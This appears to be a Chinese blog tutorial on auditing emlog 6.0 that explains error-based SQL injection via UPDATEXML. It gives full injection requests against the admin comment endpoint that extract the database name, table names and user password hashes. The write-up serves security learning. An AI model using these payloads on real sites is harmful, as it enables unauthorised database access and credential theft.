首页 > 编程语言 >小白学php,emlog6.0代码审计,fortify代码审计

小白学php,emlog6.0代码审计,fortify代码审计

时间:2024-08-06 20:53:44浏览次数:17  
标签:审计 emlog6.0 ip 代码 delbyip token 报错 select concat

一、初识报错注入

报错注入是一种通过引发SQL错误并利用错误消息回显数据库信息的技术。通过使用MySQL中的特定函数(如UPDATEXML),可以将数据库查询结果嵌入到错误消息中,从而获取数据库中的数据。

二、执行原理
  1. 代码逻辑分析:

    • 用户输入参数(如用户ID)。
    • 后台执行SQL查询(查询用户信息)。
    • 查询结果在前端回显。
  2. 报错函数:

    • MySQL提供的UPDATEXML函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
  3. 拼接查询结果:

    • 使用CONCAT函数将查询结果与特殊符号拼接在一起,使得查询结果显示在报错信息中。
  4. 长度限制:

    • UPDATEXML函数的报错信息长度不能超过32个字符。常用解决方案包括:
      • LIMIT 分页:通过分页查询数据。
      • SUBSTR 截取字符:通过截取字符串的一部分来分段获取数据

get接收ip的值,接受过程中没有过滤,

这是fortify扫描的结果,有跟踪过程

下一步传到delCommentByIp,继续跟踪delCommentByIp

没有过滤直接执行sql语句,基本可以确定有sql注入了。

现在要进入$ip还要一些条件,action=delbyip,跟踪checktoken(),

还需要有token,bp抓个包拿一下token,

尝试用sqlmap跑

再尝试手工注入,

GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,version()),3)--+&token=99f7c9a9d96668f4937b6a85890c6296

GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+database())),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1

获取database

GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),1,31))),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1

读取前面31个字符


 

GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),32,31))),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1

直到读取到emlog_user

GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select substr((select group_concat(username,0x3a,password) from emlog_user),1,31))),3)--&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1


 

标签:审计,emlog6.0,ip,代码,delbyip,token,报错,select,concat
From: https://blog.csdn.net/weixin_43104689/article/details/140953263

相关文章

  • QRGRU-基于分位数回归门控循环单元的时间序列/回归区间概率预测matlab代码
    本人整理了QRGRU基于分位数回归门控循环单元的时间序列/回归区间概率预测matlab代码,该代码质量优异,出图精美,有详细注释,适合新手学习使用。1.多变量回归或时序预测均可,不加价~适用于matlab2020及以上。可任意选择置信区间,评价指标包括R2、MAE、区间覆盖率picp、区间平均宽度百分......
  • YOLOv8改进 | Neck | 有效提升小目标检测效果,附完整代码结构图【小白必备】
     秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转......
  • YOLOv5改进 | 主干网络 | 将backbone替换为MobileNetV2【小白必备教程+附完整代码】
    秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转......
  • mybatis插件代码生成。
    mybatis插件代码生成。第一步连接数据库:第二步,选择数据库表:第三步,进行配置选择第四步、就生成了有关于表的实体类和其他的表数据。第一步连接数据库:在右边,拉出数据库的操作栏输入用户名密码,然后点击测试第二步,选择数据库表:第三步,进行配置选择一定要对照图片来......
  • 使用python解决一些计算 我们代码不比计算机差!
    使用python解决一些计算我们代码不比计算机差!一.简单基础计算1.基本的计算符号加+减-乘*****除/取余%乘方******整除//加减乘除不必多说说说比较陌生的取余乘方与整除取余%:10%3-->110-3-3-3=1最后剩下的数就是余数整除//:10//3-->310除3=3.333333去掉......
  • Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)
    0x01产品简介ApacheOFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。0x02漏洞概述2024年8月......
  • 契约锁电子签章平台 /param/edits 远程代码执行漏洞复现(XVE-2024-18394)
    0x01产品简介契约锁电子签章平台是上海亘岩网络科技有限公司推出的一套数字签章解决方案。契约锁为中大型组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字可信基础解决方案,可无缝集成各类系统,让其具有电子化签署的能力,实现组织全程数字化办公。通......
  • 代码随想录算法训练营第59天 | 最小生成树
    53.寻宝https://kamacoder.com/problempage.php?pid=1053prim算法精讲https://www.programmercarl.com/kamacoder/0053.寻宝-prim.htmlkruskal算法精讲https://www.programmercarl.com/kamacoder/0053.寻宝-Kruskal.html题目描述在世界的某个区域,有一些分散的神秘岛屿,每......
  • 【python海龟画图】代码整理
    春联点击查看代码importturtlet=turtlet.showturtle()t.penup()t.goto(-150,150)t.pendown()t.color('black','red')t.begin_fill()foriinrange(2):t.forward(50)t.right(90)t.forward(400)t.right(90)t.end_fill()t......
  • 汇编代码分析
    目录汇编代码每一列的含义代码分析详细步骤机器码解释总结.text:00000001800833A3loc_1800833A3:;CODEXREF:sub_180083250+144↑j.text:00000001800833A3488D442438learax,[rsp+490h......